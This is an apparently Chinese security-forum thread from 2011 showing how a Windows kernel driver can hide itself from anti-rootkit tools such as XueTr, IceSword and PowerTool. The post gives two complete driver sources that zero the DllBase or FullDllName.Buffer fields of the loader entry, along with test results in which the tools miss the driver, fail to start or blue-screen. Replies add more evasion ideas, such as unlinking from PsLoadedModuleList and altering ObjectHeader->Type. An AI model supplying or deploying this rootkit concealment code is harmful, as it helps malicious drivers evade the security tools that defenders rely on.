首页
社区
课程
招聘
[原创]隐藏驱动,绕过XueTr 0.39检测
发表于: 2011-5-27 20:13 23733

[原创]隐藏驱动,绕过XueTr 0.39检测

2011-5-27 20:13
23733

当系统加载一个驱动时,会为这个驱动建立一个_KLDR_DATA_TABLE_ENTRY结构体,DRIVER_OBJECT结构体的DriverSection成员指向这个结构体。以下是WRK中_KLDR_DATA_TABLE_ENTRY结构体的定义:

typedef struct _KLDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    PVOID ExceptionTable;
    ULONG ExceptionTableSize;
    // ULONG padding on IA64
    PVOID GpValue;
    PNON_PAGED_DEBUG_INFO NonPagedDebugInfo;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    ULONG Flags;
    USHORT LoadCount;
    USHORT __Unused5;
    PVOID SectionPointer;
    ULONG CheckSum;
    // ULONG padding on IA64
    PVOID LoadedImports;
    PVOID PatchInformation;
} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;
其中 PVOID DllBase; 成员指明了驱动的加载基址;
UNICODE_STRING FullDllName;指明了驱动.sys文件的全路径;
所有驱动的结构体通过InLoadOrderLinks成员链接起来,链表头部为PsLoadedModuleList,因此可以通过遍历PsLoadedModuleList来得到所有加载的驱动。

在测试中发现,如果将某一驱动的DllBase或FullDllName.buffer填为0,那么XueTr就不会显示这个驱动,以下是将DllBase填0时的验证代码:
/*
* 【作者:KiDebug】
* 【空间:http://hi.baidu.com/KiDebug/】
*/
#include <ntddk.h>

//偷懒版,完整版定义见WRK的_KLDR_DATA_TABLE_ENTRY
typedef struct _LDR_DATA_TABLE_ENTRY {
        LIST_ENTRY                InLoadOrderLinks;
        LIST_ENTRY                InMemoryOrderLinks;
        LIST_ENTRY                InInitializationOrderLinks;
        PVOID                        DllBase;
        PVOID                        EntryPoint;
        ULONG                        SizeOfImage;
        UNICODE_STRING        FullDllName;
        UNICODE_STRING        BaseDllName;
}LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY;

PVOID        pDllBase;

VOID Reinitialize( PDRIVER_OBJECT DriverObject, PVOID Context, ULONG Count )
{
        ((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase = NULL;//将DllBase填0
}

void testUnload(IN PDRIVER_OBJECT DriverObject)
{
        ((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase = pDllBase;//恢复DllBase,以便驱动能顺利卸载
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING  RegistryPath)
{
        DriverObject->DriverUnload = testUnload;
        pDllBase        =        ((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase;
        IoRegisterDriverReinitialization(DriverObject,Reinitialize,NULL);
        return STATUS_SUCCESS;
}
用InstDrv.exe加载编译后的驱动test.sys,依次点击安装、启动,然后用XueTr查看“驱动模块”,里面没有test.sys;用IceSword.exe 1.22查看“内核模块”,可以看到test.sys的存在。

以下是将FullDllName.buffer填为0时的验证代码:
/*
* 【作者:KiDebug】
* 【空间:http://hi.baidu.com/KiDebug/】
*/
#include <ntddk.h>

//偷懒版,完整版定义见WRK的_KLDR_DATA_TABLE_ENTRY
typedef struct _LDR_DATA_TABLE_ENTRY {
        LIST_ENTRY                InLoadOrderLinks;
        LIST_ENTRY                InMemoryOrderLinks;
        LIST_ENTRY                InInitializationOrderLinks;
        PVOID                        DllBase;
        PVOID                        EntryPoint;
        ULONG                        SizeOfImage;
        UNICODE_STRING        FullDllName;
        UNICODE_STRING        BaseDllName;
}LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY;

void testUnload(IN PDRIVER_OBJECT DriverObject)
{
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING  RegistryPath)
{
        DriverObject->DriverUnload = testUnload;
        ((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->FullDllName.Buffer=NULL;
        return STATUS_SUCCESS;
}
先用InstDrv.exe加载编译后的驱动test.sys,依次点击安装、启动,然后双击打开IceSword.exe 1.22,提示“程序初始化失败,错误代码1”,然后提示“无法初始化,程序退出”;双击打开PowerTool.exe 3.6.2,蓝屏。
打开XueTr.exe 0.39,查看“驱动模块”,显示有可疑驱动的存在,如果在WinDBG中手动将ntkrnlpa.exe对应的FullDllName.buffer填为0,XueTr不会显示ntkrnlpa.exe的存在。

浓缩版:
1:DllBase填0,无可疑驱动
2:FullDllName.buffer填0,有可疑驱动
3:XueTr 0.39
4:没有建立DeviceObject


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 7
支持
分享
最新回复 (20)
雪    币: 437
活跃值: (110)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
2
顶一下
2011-5-27 20:39
0
雪    币: 220
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
呵呵 值得关注一下
2011-5-27 20:55
0
雪    币: 7160
活跃值: (1170)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
学习学习了!感谢楼主的分享!
2011-5-27 20:56
0
雪    币: 41
活跃值: (480)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
驱动的东西都比较高深
2011-5-27 21:03
0
雪    币: 1407
活跃值: (17)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
抹得不够彻底
用windbg改了下 XueTr还是能检测到可疑驱动对象的
2011-5-27 21:13
0
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
7
1:DllBase填0,无可疑驱动
2:FullDllName.buffer填0,有可疑驱动
3:XueTr 0.39
2011-5-27 21:20
0
雪    币: 104
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
虽然没看懂LZ说什么, 但觉得LZ很厉害
2011-5-27 21:43
0
雪    币: 220
活跃值: (721)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
KiDebug  
最近很风光!
2011-5-27 22:36
0
雪    币: 1040
活跃值: (1293)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
这个好像不能过RKU吧……
2011-5-27 22:55
0
雪    币: 284
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
人家说过xuetr,你非说rku,人家说rku,你就ark
顶楼主,通俗易懂,虽然没啥用
2011-5-27 23:02
0
雪    币: 33
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
精彩~很不错
2011-5-28 03:23
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
13
RKU换一下ObjectHeader->Type就过了。。。
2011-5-28 07:40
0
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
14
过XueTr、RKU、ARK、XXK、RXX…还是参考MJ的文章吧:

绕过现代Anti-Rookit工具的内核模块扫描
http://hi.baidu.com/mj0011/blog/item/4279ecfa99f187ddb58f3177.html

这帖子算给XueTr、PowerTool报个Bug吧。。。
2011-5-28 10:13
0
雪    币: 270
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
支持楼主 , 有些枚举驱动从DriverSection下手然后在DllBase和FullDllName.buffer处会做下判断,楼主的思路不知道是不是源于此,菜鸟上路,说的不对的大牛帮指正下..
2011-5-28 10:30
0
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
16
看WRK时突然蹦出来的。。。。
2011-5-28 14:53
0
雪    币: 230
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
不错,支持下~!
2011-5-30 09:29
0
雪    币: 862
活跃值: (329)
能力值: ( LV9,RANK:165 )
在线值:
发帖
回帖
粉丝
18
膜拜了大牛的各种文章后   各种抹  终于藏掉了驱动
2012-1-26 21:34
0
雪    币: 88
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
直接断链,都不用填0了。。是不是更彻底
2012-7-26 21:15
0
雪    币: 13
活跃值: (87)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
不管用啊,在XueTr 下,断了链反而会以红字提示“隐藏的驱动” 怎么办?
2017-3-16 01:04
0
雪    币: 13
活跃值: (87)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
futosky 膜拜了大牛的各种文章后&nbsp; &nbsp;各种抹&nbsp;&nbsp;终于藏掉了驱动
futosky 君,有什么好办法吗?
2017-3-16 01:04
0
游客
登录 | 注册 方可回帖
返回
//